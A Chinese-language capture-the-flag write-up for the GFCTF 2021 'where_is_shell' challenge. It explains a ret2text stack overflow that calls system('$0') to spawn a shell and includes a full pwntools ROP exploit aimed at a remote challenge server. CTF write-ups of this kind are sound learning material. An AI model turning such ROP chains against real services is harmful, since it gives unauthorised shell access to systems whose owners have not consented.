[GFCTF 2021]where_is_shell
这题还是蛮有意思的 虽然是简单的ret2text 但是还是让我学到了新知识
核心知识点:system($0)获取shell权限
checksec后发现是一个开启了NX保护的64位程序 放进ida64里看看
main
一个简单的栈溢出漏洞(由于没有puts函数因此无法利用ret2libc来解决)
但是我们在字符串表中发现了system函数的plt表地址 然而却并没有找到bin_sh的地址
看了其他师傅的wp我知道了system($0)也是可以获取shell权限的
然后我们在函数表中找到了tips函数 在其中我们发现了$0所对应的机器码\x24\x30因此 只要我们将这个地址作为参数填充到system函数即可
曾看明白这个hint需要关键的一步就是显示操作码
显示操作码步骤:在“ Options(选项) - General(常规)”,选中“ Line prefixes(行前缀)”可以显示跟内存地址有关的更多信息。选中“Number of opcode bytes(操作码字节数)”,可以显示操作码。
exp:
from pwn import *
context.log_level='debug'
elf=ELF('./shell')
io=remote('1.14.71.254',28107)
#io=process('./shell')
system=elf.symbols['system']
rdi=0x4005e3
ret=0x400416
shell=0x400541
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.recvuntil('it?\n')
io.sendline(payload)
io.interactive()
sendline(payload)
io.interactive()